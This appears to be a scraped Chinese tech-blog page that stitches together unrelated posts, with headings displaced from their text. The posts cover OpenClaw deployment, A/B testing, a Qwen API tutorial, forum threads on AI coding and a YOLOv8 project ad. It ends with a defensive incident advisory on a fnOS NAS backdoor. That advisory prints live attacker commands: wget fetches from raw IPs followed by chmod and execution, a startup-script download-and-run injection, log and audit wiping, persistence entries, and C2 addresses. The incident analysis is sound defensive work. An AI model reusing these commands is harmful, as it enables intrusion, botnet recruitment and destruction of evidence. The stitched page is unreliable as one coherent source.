警告使用 Sing-Box For Apple 的用户
它们使用代理公司在 App Store 上架,目前因为某些原因无法更新 App Store 的软件,且 macOS 的独立安装包的签名也无法使用。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
它们使用代理公司在 App Store 上架,目前因为某些原因无法更新 App Store 的软件,且 macOS 的独立安装包的签名也无法使用。
最近,开源个人AI代理OpenClaw(原Clawdbot)真的太火了! 1月28日,百度智能云官宣完成OpenClaw全套适配之后,后台一下子涌进来不少问题: 能不能一键部署? 跑在云上稳不稳? 跟别的平台比,百度智能云到底有啥不一样? 可以发现,大家不仅关心“OpenClaw好不好用”,更关心在使用时怎么跑得久、跑得稳、还不折腾个人电脑。直接在本地长期挂OpenClaw,不仅占资源,还容易带来权限和数据风险,许多开发者朋友需要一个靠谱、随开随用的云端环境。 基于这些真实反馈,百度智能云正式上线OpenClaw一键部署功能,用户可以通过轻量应用服务器(LS),快速完成OpenClaw的部署和初始化,不用配置复杂环境,简单几步就能把一位7×24小时在线的个人AI助理跑起来。 更关键的是,百度智能云给大家带来了一波福利,同步推出限时免费体验活动,直接把上手门槛降到最低。1月31日开始,用户在百度智能云官网购买「OpenClaw镜像」的推荐机型(轻量应用服务器LS或经济型e1),即可获得首月体验机会。 *活动为期一个月,每日限量500台!为了保障活动的正常参与秩序,参与活动的用户需在下单时支付0.01元。 接下来,百度智能云还将不断优化OpenClaw等Agent产品在云端环境的使用体验,无论是需要7×24小时稳定运行的自动化任务,还是个人日常的轻量级使用场景,我们都希望帮助用户在真实环境中,更低成本地验证个人AI助理的可用性与成长空间,持续获得稳定、可靠的云端服务体验。 下面还有详细的部署教程,助力你第一时间在百度智能云完成OpenClaw部署! 以下内容详细介绍了如何在轻量应用服务器LS上配置使用开源AI助手OpenClaw(原名:Clawdbot)的完整流程。 部署过程主要包括: 1.在轻量应用服务器控制台创建实例,通过一键安装脚本完成部署以及初始化; 2.使用千帆完成文心系列、Qwen系列、Deepseek系列等主流模型配置,快速将百度大模型能力集成到机器人应用中。 安装配置OpenClaw 步骤一:在轻量应用服务器LS控制台创建一台轻量应用服务器。 镜像:选择OpenClaw(Clawdbot)2026.1.24-3 套餐:建议您选择CPU:2核,内存:2GB或以上的套餐配置 步骤二:在千帆控制台模型服务里面选择要使用的模型(本文档使用deepseek-v3.1-250821作为示例),可以新建或者选择已有的API Key。 步骤三:通过SmartTerm或者VNC登录LS,使用以下内容替换~/.clawdbot/clawdbot.json,注意将API Key替换成步骤二中获取到的,如果选择了其他模型可以将按照deepseek-v3.1-25082格式在models配置里面替换即可。 步骤四:使用clawdbot onboard命令可以开始启动配置向导,完成clawdbot的初始化并且启动可以进入TUI模式。如果需要更换模型或者其他配置可以使用clawdbot onboard重新进入引导配置,并且参考一下配置进行选择,两次ctrl+c可以推出TUI模式 步骤五(可选):使用clawdbot gateway install --force重新启动网关配置,并且使用clawdbot models list查看当前配置的模型情况。使用clawdbot agent --agent main --message '当前CPU占用情况'查看配置是否生效。 OpenClaw常见命令参考 详细使用指南详见官方教程:https://cloud.baidu.com/doc/LS/s/Cmkxwt7wk在百度智能云上快速部署OpenClaw


{
"models": {
"mode": "merge",
"providers": {
"qianfan": {
"baseUrl": "https://qianfan.baidubce.com/v2",
"apiKey": "You Api Key",
"api": "openai-completions",
"models": [
{
"id": "deepseek-v3.1-250821",
"name": "deepseek-v3.1-250821",
"reasoning": false,
"input": [
"text"
],
"cost": {
"input": 0.0025,
"output": 0.01,
"cacheRead": 0,
"cacheWrite": 0
},
"contextWindow": 262144,
"maxTokens": 65536
}
]
}
}
},
"agents": {
"defaults": {
"model": {
"primary": "qianfan/deepseek-v3.1-250821"
},
"models": {
"qianfan/deepseek-v3.1-250821": {
"alias": "deepseek-v3.1-250821"
}
}
}
}
}


大家好,我是Java烘焙师。本文结合笔者的经验和思考,对灰度方案做个总结,重点介绍AB实验。 灰度在开发流程中非常普遍。先做小流量验证,确认无误后再推全,灰度过程中一旦发现系统异常、或业务指标异常,应立刻回滚。 代码灰度:是最典型的灰度,灰度内做新逻辑,灰度外做旧逻辑 数字id尾号灰度:取id最后2位(百分比)、最后3位(千分比)、最后4位(万分比)等 随机灰度:取一部分随机流量做灰度 A/B实验 下面重点介绍一下A/B实验。 主要目的是为了同时做多个实验,而不是给每个实验均分一部分流量。因为当同时进行的实验变多时,组合数量成倍增加,每个实验分到的流量就很少了。 实验层、实验举例: 要同时支持多个分层实验,核心在于通过哈希算法将每一层的流量打散,用于实现“均匀分流”和“层间正交”,使得流量在各个实验的效果正负抵消,才能得到真实的对比结果。 之所以用murmurhash,而非md5,是因为md5是加密算法,计算开销更大,在AB实验中仅需均匀打散即可,无需担心根据哈希结果反推原文。 实验数据收集流程如下: 代码逻辑开发: 实验开始,后端埋点:sdk发出后端埋点消息 离线统计实验效果: 以下是sql示例,代表从实验曝光后24小时内各个分组的转化率对比。 评估实验结果是否正向、是否显著。了解统计学里的核心概念,能看懂实验报表即可。 用来衡量实验结果是否显著,p值的含义是:假设实验组与对照组没有区别,此时观察到实验有差异的概率。一般要求 在显著的前提下,用来衡量实验结果是否正向,代表业务指标的可能范围分布。 以上就是灰度方案的总结了,欢迎讨论交流。灰度场景
灰度模式
id % 100 < 灰度百分比,则命中灰度ThreadLocalRandom.current().nextInt(100) < 灰度百分比id选取
A/B实验
目的
分层实验
有这几层结构:实验层、实验、分组
哈希算法打散
以下是计算实验层桶号的代码示例,实验桶号同理:import com.google.common.hash.Hashing;
import java.nio.charset.StandardCharsets;
public class ABTestRouter {
/**
* 根据用户ID和实验层ID(实验层ID充当盐的角色),计算桶号 (0-99)
*/
public static int getBucket(String userId, String layerId) {
// 1. 拼接 Key: "layerId:userId"
String key = layerId + ":" + userId;
// 2. 使用 MurmurHash3 (32-bit)
// Guava 的 murmur3_32_fixed 是线程安全的
int hash = Hashing.murmur3_32_fixed()
.hashString(key, StandardCharsets.UTF_8)
.asInt();
// 3. 取模并确保结果为正数
// Math.abs(Integer.MIN_VALUE) 会返回负数,所以推荐使用位运算去除符号位
return (hash & Integer.MAX_VALUE) % 100;
}
public static void main(String[] args) {
String uid = "user_123456";
// 不同层的流量是正交的(打散重新分配)
System.out.println("展示层桶号: " + getBucket(uid, "layer_ui"));
System.out.println("算法层桶号: " + getBucket(uid, "layer_algo"));
}
}
之所以把实验层id作为盐,是因为微小的输入差异都会导致哈希结果相差巨大,实现打散的效果。实验数据收集
业务id, 实验层id, 实验id, 分组id, 桶号, 触发时间
SELECT
e.group_id,
COUNT(DISTINCT e.user_id) as exposed_users,
COUNT(DISTINCT a.user_id) as converted_users,
COUNT(DISTINCT a.user_id) / COUNT(DISTINCT e.user_id) as conversion_rate
FROM exposure_events e
LEFT JOIN action_events a ON e.user_id = a.user_id
AND a.event_time BETWEEN e.event_time AND (e.event_time + INTERVAL 24 HOUR)
WHERE e.experiment_id = 'ui_test_001'
GROUP BY e.group_id;实验报表分析
p值
p < 0.05,也就是说实验结果显著的概率大于95%(1 - 0.05 = 95%)置信区间
比如:实验结果里业务指标提升了1%,95%置信区间在[0.8%, 1.2%],则代表有95%的把握可以把业务指标提升至少0.8%、至多1.2%,效果正向。如果置信区间的下界是负数,就有可能是负向效果了,需要警惕。
随着人工智能技术的快速发展,大语言模型已成为现代应用开发的重要组成部分。阿里云的通义千问(Qwen)系列模型凭借其卓越的性能和丰富的功能,受到了广泛关注。本文将详细介绍如何利用 Qwen 模型的 OpenAI 兼容 API 构建一个完整的 AI 聊天应用。 要在项目中使用通义千问模型,首先需要在阿里云平台上获取 API 密钥: API 密钥是访问服务的重要凭证,必须严格保护。以下是几种安全存储方式: 在项目中,我们采用环境变量来存储 API 密钥,避免直接硬编码到代码中: 这种分离方式既保证了团队协作的便利性,又确保了安全性。 通义千问提供了 OpenAI 兼容模式,使得现有基于 OpenAI SDK 的项目可以轻松迁移。以下是完整的 Node.js 调用示例: 为了提供更流畅的用户体验,我们可以实现流式响应: 在 Next.js API 路由中,我们还可以将流式响应转换为 Server-Sent Events (SSE): 流式输出能够实时显示模型生成的内容,显著提升用户体验。相比等待完整响应后再显示,流式输出让用户感觉响应更加即时。 通过兼容 OpenAI 接口,开发者可以: 基于 Next.js 的全栈架构优势: 系统内置了对常见错误的处理机制: 通义千问采用按量付费模式,主要根据 token 数量计费: 本文介绍了如何使用通义千问的 OpenAI 兼容 API 构建 AI 聊天应用。这种方案具有以下优势: 该方案特别适用于以下场景: 本文所述的完整示例项目已开源,欢迎克隆、运行和贡献改进: 项目地址: https://gitee.com/codehub/llm/tree/main/qwen-chatbot 项目包含完整的 Next.js 前端界面、API 路由、环境配置和详细文档,可直接运行体验。如果您有任何疑问或改进建议,欢迎提交 Issues 或 Pull Requests! 通过这个项目,您可以快速上手通义千问 API 的使用,并在此基础上开发自己的 AI 应用。API 密钥管理
获取 API 密钥
安全存储最佳实践
1. 使用环境变量
# .env.local - 本地开发配置(不应提交到版本控制)
OPENAI_API_KEY=your_actual_qwen_api_key_here
OPENAI_API_BASE=https://dashscope.aliyuncs.com/compatible-mode/v1
MODEL_NAME=qwen-max2. .env.local vs .env.example
.gitignore 中避免提交# .env.example - 示例模板文件
OPENAI_API_KEY=your_qwen_api_key_here
OPENAI_API_BASE=https://dashscope.aliyuncs.com/compatible-mode/v1
MODEL_NAME=qwen-max基础调用方法
OpenAI SDK 兼容调用
import OpenAI from 'openai';
// 创建兼容 OpenAI 格式的客户端
const client = new OpenAI({
apiKey: process.env.OPENAI_API_KEY || '',
baseURL: process.env.OPENAI_API_BASE || 'https://dashscope.aliyuncs.com/compatible-mode/v1',
});
// 发送聊天补全请求
const response = await client.chat.completions.create({
model: process.env.MODEL_NAME || 'qwen-max',
messages: [
{ role: 'system', content: 'You are a helpful assistant.' },
{ role: 'user', content: 'Hello!' }
],
});流式响应实现
// 流式响应示例
const stream = await client.chat.completions.create({
model: process.env.MODEL_NAME || 'qwen-max',
messages,
stream: true, // 启用流式响应
});
// 处理流式数据
for await (const chunk of stream) {
const content = chunk.choices[0]?.delta?.content;
if (content) {
// 实时输出内容
process.stdout.write(content);
}
}// Next.js API 路由中的流式响应处理
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
// 设置 SSE 响应头
res.setHeader('Content-Type', 'text/event-stream');
res.setHeader('Cache-Control', 'no-cache');
res.setHeader('Connection', 'keep-alive');
res.setHeader('Transfer-Encoding', 'chunked');
for await (const chunk of stream) {
const content = chunk.choices[0]?.delta?.content;
if (content) {
res.write(`data: ${JSON.stringify({ content })}\n\n`);
}
}
// 发送结束信号
res.write('data: [DONE]\n\n');
res.end();
}核心特性
1. 流式输出支持
2. OpenAI SDK 兼容
3. 全栈一体化部署
4. 完善的错误处理
try {
// API 调用
const response = await client.chat.completions.create({...});
} catch (error: any) {
if (error.status === 401) {
// 认证失败
errorMessage = 'Authentication failed. Please check your API key.';
statusCode = 401;
} else if (error.status === 429) {
// 请求频率超限
errorMessage = 'Rate limit exceeded. Please try again later.';
statusCode = 429;
}
// 返回错误信息给前端
res.status(statusCode).json({ error: errorMessage });
}计费模式与使用限制
计费方式
模型版本对比
模型 特点 适用场景 价格 qwen-turbo 高效推理,成本低 简单任务,高并发 最经济 qwen-plus 平衡性能与成本 一般性任务 中等 qwen-max 强大推理能力 复杂任务,逻辑推理 性能最强 限制参数
成本优化建议
总结与项目推荐
示例项目
https://github.com/zhangjian24/llm/tree/main/qwen-chatbot
在生成式 AI 的早期实践中,开发者往往将大语言模型视为一个高度通用的推理引擎,期望通过不断优化 Prompt 来覆盖复杂业务需求。但随着应用场景走向真实生产环境,这种“单点调用”的模式逐渐暴露出稳定性与可控性不足的问题。 在行业实践中,一个共识正在形成:真正让系统完成从模型能力到工程能力跃迁的,不是更大的参数规模,而是工作流(Workflow)的引入。智能体来了,并不意味着模型更聪明了,而是系统开始具备结构化执行复杂任务的能力。 在智能体系统中,工作流并不是简单的步骤列表,而是一种对复杂目标的结构化拆解机制。 从系统视角看,工作流的核心作用是: 每一个节点对应一个明确职责的操作单元,例如信息检索、规则判断、结构化生成或结果校验;节点之间的连接,则定义了数据如何流转、状态如何迁移。 这种设计的本质,是为大模型引入“工程护栏”,避免其在长链路任务中因语义漂移而失控。 单次模型调用难以稳定完成多阶段任务。工作流通过显式的控制结构,使任务具备可预测的执行路径,包括: 这类机制使系统具备类似“状态机”的行为特征,是智能体能够长期稳定运行的基础。 在真实业务中,智能体需要频繁调用外部资源,如接口服务、数据库或计算工具。工作流的价值在于: 这种“节点级工具挂载”模式,使模型专注于当前问题,而非整体系统的资源选择。 随着任务链路拉长,累积误差成为不可忽视的问题。工作流提供了天然的控制点: 这些机制共同构成了智能体系统达到生产可用标准的重要前提。 成熟的智能体工作流往往不是完全封闭的,而是具备一定弹性的混合结构: 在节点通信层面,采用 JSON 等结构化数据格式进行交互,已成为工程实践中的普遍选择。这种方式比自然语言更稳定,也更利于调试与维护。 在智能体系统中,工作流并非模型能力的附属配置,而是系统能够被部署、被维护、被信任的核心基础。 行业实践已经反复验证: 当业务逻辑不断沉淀,工作流本身将演化为企业内部最具价值的数字资产之一。 在智能体从 0 到 1 的阶段,真正的认知转折点,是意识到:工作流设计的优先级,往往高于模型选型本身。一、工作流的核心定位:将不确定性收敛为可执行路径
二、工作流在智能体系统中的三类关键角色
1. 逻辑编排层:复杂任务的执行骨架
2. 资源调度层:工具调用的组织中枢
3. 风险控制层:长链路误差的拦截机制
三、从系统工程角度看工作流设计
四、结语:智能体落地的关键不在模型本身
(本文章内容和图片由AI辅助生成)
所有节点都连不上。
如果我自己订阅了 google one ai plus 那个 49 刀/年的,然后又加入了别人的 PRO 家庭组,好像 PRO 家庭组 直接覆盖了我的 AI PLUS ?那 Gemini pro 的可用次数 也会叠加吗?我看官方文档里 PLUS 用户思考次数每天 90 次,PRO 用户思考次数 300 次,那我就是 390 次?
PS:因为的加入的群组掉了 2 次,我看 AI PLUS 方案的价格也能接受,然后就自己订阅了,后来车主又修复好了家庭组,我现在从 AI PLUS 又变成了 PRO 。
源码包含:完整YOLOv8训练代码+数据集(带标注)+权重文件+直接可允许检测的yolo检测程序+直接部署教程/训练教程 随着城市机动车保有量的持续增长,“找车位难”已成为智慧城市与智慧交通建设中的典型痛点问题。传统依赖人工巡检或地磁传感器的停车管理方式,存在部署成本高、维护复杂、实时性不足等问题,已难以满足现代停车场智能化管理需求。 本项目基于 YOLOv8 目标检测模型,构建了一套 停车场空车位智能检测系统,可对监控画面中的 已停车辆(Occupied) 与 空车位(Vacant) 两类目标进行实时识别与可视化展示。系统支持图片、视频、本地文件夹及实时摄像头等多种输入形式,并集成 PyQt5 图形化界面,实现检测结果的直观展示与交互操作。 项目提供 完整可运行源码、标准化标注数据集、训练权重文件以及详细训练与部署文档,用户无需复杂配置即可快速复现模型效果,实现从模型训练到应用落地的一站式实践,适用于课程设计、毕业设计、科研实验及智慧停车相关工程原型开发。 在智慧交通与智慧城市快速发展的背景下,停车资源的高效利用已成为城市管理中的重要议题。根据实际调研发现,停车场内往往存在“车位并不紧张,但驾驶员难以快速定位空车位”的情况,其根本原因在于缺乏实时、精准、低成本的车位状态感知手段。 近年来,随着深度学习与计算机视觉技术的成熟,基于目标检测的视觉感知方案逐渐成为智能停车领域的重要研究方向。其中,YOLO 系列模型凭借 端到端、速度快、精度高 的优势,在实时场景下表现尤为突出。YOLOv8 作为 Ultralytics 最新一代模型,在网络结构、损失函数与训练策略等方面均进行了优化,为实时车位检测提供了良好的技术基础。 本项目以实际停车场监控场景为应用背景,从数据集构建、模型训练、推理部署到图形化系统集成进行完整实现,力求为读者提供一个工程可复现、逻辑清晰、可扩展性强的停车场空车位检测完整示例。 系统基于 YOLOv8 检测模型,对停车场场景中的目标进行精准识别,支持以下两类检测结果: 检测结果以目标框形式叠加在原始画面上,并标注类别名称与置信度,实现车位状态的直观可视化。 系统支持多种常见输入方式,适配不同使用场景: 用户可通过 PyQt5 图形界面一键切换检测模式,无需修改代码。 为提升系统易用性,项目基于 PyQt5 构建了完整的桌面端可视化界面,主要功能包括: 即使不具备深度学习背景的用户,也可通过界面完成模型推理与效果演示。 项目不仅提供推理程序,同时完整保留了 YOLOv8 的训练流程,包括: 用户可在现有数据集基础上进行二次训练或扩展新场景,具备良好的工程复用价值。 在典型停车场监控画面中,系统能够在复杂光照、不同拍摄角度及多车位密集场景下,稳定识别空车位与已停车辆状态,具备较强的鲁棒性与实时性,满足实际工程应用对准确率与推理速度的基本要求。 为了直观展示本系统基于 YOLOv8 模型的检测能力,我们设计了多种操作场景,涵盖静态图片、批量图片、视频以及实时摄像头流的检测演示。 用户点击“选择图片”,即可加载本地图像并执行检测: 用户可选择包含多张图像的文件夹,系统会批量检测并生成结果图。 支持上传视频文件,系统会逐帧处理并生成目标检测结果,可选保存输出视频: 实时检测是系统中的核心应用之一,系统可直接调用摄像头进行检测。由于原理和视频检测相同,就不重复演示了。 用户可通过按钮勾选是否保存检测结果,所有检测图像自动加框标注并保存至指定文件夹,支持后续数据分析与复审。 YOLOv8是Ultralytics公司发布的新一代目标检测模型,采用更轻量的架构、更先进的损失函数(如CIoU、TaskAlignedAssigner)与Anchor-Free策略,在COCO等数据集上表现优异。 YOLOv8 是 Ultralytics 发布的新一代实时目标检测模型,具备如下优势: YOLOv8 由Ultralytics 于 2023 年 1 月 10 日发布,在准确性和速度方面具有尖端性能。在以往YOLO 版本的基础上,YOLOv8 引入了新的功能和优化,使其成为广泛应用中各种物体检测任务的理想选择。 YOLOv8原理图如下: 采用 YOLO 格式的数据集结构如下: 每张图像有对应的 分类包括(可自定义): 训练完成后,将在 在深度学习领域,我们通常通过观察损失函数下降的曲线来评估模型的训练状态。YOLOv8训练过程中,主要包含三种损失:定位损失(box_loss)、分类损失(cls_loss)和动态特征损失(dfl_loss)。训练完成后,相关的训练记录和结果文件会保存在runs/目录下,具体内容如下: 使用 PyTorch 推理接口加载模型: 预测结果包含类别、置信度、边框坐标等信息。 本文涉及到的完整全部程序文件:包括python源码、数据集、训练代码、UI文件、测试图片视频等(见下图),获取方式见【4.2 完整源码下载】: 作者已将整个工程打包。包含已训练完成的权重,读者可不用自行训练直接运行检测。 运行项目只需输入下面命令。 读者也可自行配置训练集,或使用打包好的数据集直接训练。 自行训练项目只需输入下面命令。 至项目实录视频下方获取:https://www.bilibili.com/video/BV1kFrjBQEJv 包含: 📦完整项目源码 📦 预训练模型权重 🗂️ 数据集地址(含标注脚本) 本文围绕 基于 YOLOv8 的停车场空车位目标检测系统,从应用背景、技术选型到系统实现进行了完整介绍。项目以停车场实际监控场景为出发点,采用 YOLOv8 作为核心检测模型,实现了对 已停车辆 与 空车位 两类目标的高效识别,并通过 PyQt5 图形化界面完成了模型推理结果的可视化与交互操作。 从工程实现角度来看,项目不仅具备良好的检测精度与实时性能,同时在系统结构设计上强调可复现性与可扩展性,完整提供了数据集、训练脚本、权重文件及部署流程说明,降低了目标检测项目从算法验证到实际落地的门槛。无论是作为深度学习入门实践、课程设计与毕业设计选题,还是智慧停车与智能交通相关应用的原型系统,该项目都具有较高的参考价值。 后续可在此基础上进一步拓展车位编号绑定、空位统计分析、多摄像头协同感知及与停车管理系统的数据对接等功能,为智慧停车场景提供更加完善和工程化的解决方案。基于YOLOv8的停车场空车位目标检测项目|完整源码数据集+PyQt5界面+完整训练流程+开箱即用!
项目摘要
前言
一、软件核心功能介绍及效果演示
1. 双类别车位状态智能识别
2. 多输入源检测模式支持
3. PyQt5 图形化界面(GUI)
4. 完整训练流程与可复现性保障
5. 实际检测效果说明
二、软件效果演示
(1)单图片检测演示

(2)多文件夹图片检测演示

(3)视频检测演示

(4)摄像头检测演示

(5)保存图片与视频检测结果

三、模型的训练、评估与推理
其核心优势如下:3.1 YOLOv8的基本原理


3.2 数据集准备与训练
dataset/
├── images/
│ ├── train/
│ └── val/
├── labels/
│ ├── train/
│ └── val/.txt 文件,内容格式为:4 0.5096721233576642 0.352838390077821 0.3947600423357664 0.31825755058365757
3.3. 训练结果评估
runs/detect/train 目录生成结果文件,包括:results.png:损失曲线和 mAP 曲线;weights/best.pt:最佳模型权重;confusion_matrix.png:混淆矩阵分析图。若 mAP@0.5 达到 90% 以上,即可用于部署。

3.4检测结果识别
import cv2
from ultralytics import YOLO
import torch
from torch.serialization import safe_globals
from ultralytics.nn.tasks import DetectionModel
# 加入可信模型结构
safe_globals().add(DetectionModel)
# 加载模型并推理
model = YOLO('runs/detect/train/weights/best.pt')
results = model('test.jpg', save=True, conf=0.25)
# 获取保存后的图像路径
# 默认保存到 runs/detect/predict/ 目录
save_path = results[0].save_dir / results[0].path.name
# 使用 OpenCV 加载并显示图像
img = cv2.imread(str(save_path))
cv2.imshow('Detection Result', img)
cv2.waitKey(0)
cv2.destroyAllWindows()

四.YOLOV8+YOLOUI完整源码打包
4.1 项目开箱即用
python main.pyyolo detect train data=datasets/expression/loopy.yaml model=yolov8n.yaml pretrained=yolov8n.pt epochs=100 batch=16 lr0=0.0014.2 完整源码

总结
插件基本是 vibe coding ,包括 github action 等配套,当然发的帖子也是 ai 写的。因为小插件,不浪费 tokens (主要是穷),用了 trae 免费版(此处不是广)。
帖子初期反响还可以,直到收到了一条评论:I can't Read the AI posts anymore it feel so pointless and empty
然后就崩了,他的点赞蹭蹭蹭往上涨,但帖子点赞跌到 0 ,然后帖子被版主删了。
我们有在帖子下讨论,他的观点:
Sadly after reading soo many posts and going though soo many repos of new plug-ins it is tiring. I do software for a living. All theese projects have in common is bad practices, bad maintainability and so much more. If it's something people need and rely on but for the creator it's just an afternoon project wich is easily abandoned it leads to bad faith in the software. Maintaining a project is time intensive. If a new version of obsidian breaks the plug-in but the maintainer nolonger does any work it leads to many sad users.
Additionally I have no faith in the software delivered. It could have a major exploit ore be harmful, even if not intentionally. But not be found because the maintainer has no clue how the code actually works.
Good things take time. It takes so much time to test and make sure the program is reliable that I doubt any project I see with is vibe coded.
The AI has glaring flaws if you know the subject you're using it for. But if you're not knowledgeable it all looks correct but really is full of half truths.
大致意思就是 ai 写的代码粗制滥造,并且容易弃更、以及未知的漏洞。最后说的行内人一看就知道是 ai 写的,外行人就半信半疑(我也是靠翻译的,不确定是不是这个意思)。
我给他回的观点:
AI 是工具,消除了阶级,不对等的问题,以至于普通人也能制作自己的工具,减少了时间和成本,而且对于普通软件来讲,够用了就行。至于担心维护问题,这个插件本来就是开源的,克隆下来在自己 ai 修改下就行了呗。当然我也反对在高风险项目中使用没有 reveiw 的代码(至少要加一层保障)。
随后帖子被删了,我没有再回复了。
想问下大家对 ai 写代码是什么看法?为什么感觉有很大一部分人厌恶 vibe coding ?
最近自己整理 AI 相关信息时,发现一个问题:
关于 AI 到底 能干啥 不能干啥,信息差实在太大
俺也一直认为 现阶段弄清楚 ai 的能力边界 必整天搜集 api 重要的多(都是咕噜咕噜害的)
很多内容要么是 demo,要么是营销,很少有人讲清楚能力边界这回事
所以自己搭了一个小博客 aiya.de5.net,就很简单俩模块吧 aiok 就是能的 aiya 就是哎呀拉跨的
定位很简单:不谈未来不卖课,只记录当下 AI 的真实能力边界和价格。
也搭了公益站 api 正在慢慢接入
不是教程站,也不卖课,只是希望把踩过的坑和真实数据留下来 只记录 ai 干啥很快干成了 干啥拉胯了
如果你也在折腾 AI / workflow,欢迎来看看或补充信息
刚建好 抛砖引玉下今天晚上用 ai 一句话做的事:

一、重要/漏洞:飞牛 fnOS 疑似遭公网未授权访问/利用后植入后门组件
1.漏洞编号:暂无(官方未公开 / 未分配 CVE )
重要等级:严重(高危)
CVSS 分数:暂无
2.影响范围:
fnOS 设备存在公网可达入口(端口映射/反代/直连公网)时风险显著上升;官方建议升级至 1.1.15 并验证关闭公网映射后异常是否停止。
论坛反馈即使仅使用 HTTPS 访问也可能出现同类驻留现象,说明风险不应仅限定为 HTTP 明文通道(可能存在其他公网暴露面、历史入侵残留或服务端漏洞可经 HTTPS 触发)
3.受影响系统:
fnOS (版本范围未公开)。官方社区回复称该问题官方已知,建议升级至 1.1.15 ,并在关闭公网端口映射后验证异常上传/连接是否停止。
4.木马行为分析
目前已获取相关木马文件,下为行为分析
4.1 入侵者在通过未公开入口/利用链投放后门下载器后并执行
下载二阶段载荷并执行(观测到的命令链)
cd /tmp
wget http://20.89.168.131/nginx
chmod 777 nginx
head -c 16 /dev/urandom >> nginx (向文件追加随机字节,改变哈希,规避基于哈希的检测)
./nginx
wget http://20.89.168.131/trim_https_cgi
chmod 777 trim_https_cgi
head -c 16 /dev/urandom >> trim_https_cgi
./trim_https_cgi
外联与拉取补充组件
HTTP:GET http://151.240.13.91/trim_fnos
TCP:连接 45.95.212.102:6608
4.2 后门驻留组件 gots
A1. 写入后门主体与持久化文件
创建/写入:/sbin/gots
创建/写入:/etc/rc.local 、/etc/rc.d/rc.local
创建/写入 systemd 服务(变种服务名):
/etc/systemd/system/x86.service
/etc/systemd/system/<sha256>.service
执行持久化:systemctl enable <service>.service (含重定向到 /dev/null 的静默执行)
自身复制/改名落地:
/usr/bin/x86 (样本发生目录重命名/落地)
/usr/bin/<sha256>(样本发生目录重命名/落地)
A2. C2 通信与探测
DNS:解析 aura.kabot.icu -> 45.95.212.102
TCP:连接 45.95.212.102 多端口(观测到:3489 、5098 、6608 、7489 )
论坛样本显示的附加行为( strings/排查结论)
干扰系统工具:重命名/替换 cat (出现 mv /usr/bin/cat /usr/bin/cat2 等字符串,导致“cat 丢失”现象)
结束系统进程:pkill -f 'network_service|resmon_service'
修改持久化入口:改写 /etc/rc.local 与 /etc/systemd/system/%s.service 并 systemctl enable
外联:包含 45.95.212.102 字符串并进行访问
4.3 组件 trim_https_cgi
清理痕迹
清空多目录日志:/var/log/、/usr/trim/logs/、/run/log/journal 等
删除审计日志:/var/log/audit/audit.log 及滚动文件
删除/清理安全相关日志:/var/log/secure、/var/log/messages、wtmp/btmp/lastlog 等
干扰业务与恢复功能
结束服务:pkill -f backup_service 、pkill -f sysrestore_service 等
二阶段下载执行与启动脚本注入
修改 /usr/trim/bin/system_startup.sh ,追加下载执行链:
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
端口相关痕迹与疑似隐藏监听(来源于论坛排查)
目标系统存在 0.0.0.0:57132 LISTEN ,ss/netstat 无 PID ,lsof/fuser 无结果
trim_https_cgi 字符串包含 57132 ,并出现 kill -9 $(lsof -t -i:57132) 之类处理逻辑(提示该端口为其链路的一部分)
4.4 内核模块 snd_pcap (论坛排查)
/etc/modules 被追加 snd_pcap
模块文件:/lib/modules/6.12.18-trim/snd_pcap.ko
与“57132 监听无 PID/无 lsof 结果”的现象存在关联怀疑(疑似内核层隐藏/驻留能力)
关键落地痕迹
不可变属性( immutable ,需先 chattr -i 才能删除):
/usr/bin/nginx
/usr/sbin/gots
/usr/trim/bin/trim_https_cgi
/etc/systemd/system/nginx.service
/etc/systemd/system/trim_https_cgi.service
/etc/rc.local
伪装/复用:/usr/bin/nginx 与 /usr/sbin/gots md5 相同(同一载荷多名称投放)
rc.local 自启:/sbin/gots x86 &
systemd 自启(示例):ExecStart=/usr/bin/nginx x86 ( oneshot + enable )
可疑网络基础设施( IOC )
IP:45[.]95[.]212[.]102 ( C2/多端口连接)
IP:151[.]240[.]13[.]91 ( HTTP 拉取二阶段:/trim_fnos 、论坛样本)
域名:aura[.]kabot[.]icu (解析到 45[.]95[.]212[.]102 )
下载源:20[.]89[.]168[.]131 ( HTTP 拉取:/nginx 、/trim_https_cgi )
归属信息:45[.]95[.]212[.]102 与 151[.]240[.]13[.]91 两个 IP 均归属 AS209554 ISIF OU 提供商网段
4.5 处置建议
二、建议:请立即停止公网暴露 fnOS Web 管理页面
我们通过联系多位遭遇入侵的用户并分析相关记录发现,本次针对 fnOS 的漏洞利用活动呈现多团伙、多基础设施特征:疑似存在 2–3 个利用团伙,攻击流程较为成熟,并观察到多个 C2 (命令与控制)域名用于回连与任务下发。当前已明确捕捉到 DDoS 攻击指令,被入侵设备存在被纳入僵尸网络风险。
根据网络空间测绘(网站空间)统计,全网可直接访问并暴露 fnOS Web 页面设备约 306,766 台。
注意:该数字来自公开测绘快照,受扫描时间点、动态公网 IP 、端口映射/反代、去重口径等影响,实际暴露规模可能与该值不一致,仅用于风险态势评估。
时间线
3.1 最早入侵记录:约 12 天前( 1 月 19 日左右)
3.2 用户察觉异常:约 10 天前( 1 月 21 日左右),主要因设备出现对外异常行为(含对外攻击/连接异常增多)导致网络不稳定而被发现
3.3 1 月 21–22 日期间观测到任务/指令下发行为
3.4 综合判断:攻击者至少利用了约 3–4 天“空窗期” 在用户察觉前完成感染、持久化与回连准备
3.5 官方侧:据反馈,官方约在 1 月 21 日左右因用户集中反映“建立大量连接、网络不稳定”等现象,才进一步定位并确认漏洞风险
4.1 所有用户立刻停止公网暴露 fnOS Web 管理页面。
4.2 这是当前最关键、最有效的止损措施。无论是否升级、是否自查“暂未发现异常”,都不要再让 Web 管理面可被公网直接访问。
4.3 “升级到新版本”并不等于风险解除。
目前无法确认新版本已覆盖全部修复点,仅依赖升级不能作为安全保证;在 Web 仍暴露公网的情况下仍可能被再次利用或二次入侵。
4.4 官方目前未公开可复用、可验证的完整处置方案。
4.5 因此不建议在联网状态下“边运行边清理”。
4.6 不要指望“屏蔽某个 IP / 屏蔽单个 C2 域名”解决问题。
已确认存在多个 C2 域名/基础设施轮换,单点封堵不一定有效,且可能快速失效。
4.7 已捕捉到 DDoS 指令:被控设备可能被用来对外攻击。
这不仅会造成你的网络被打满、设备性能异常、业务不可用,也可能引发运营商封禁。
三、处置
A1. 未发现入侵迹象的用户:
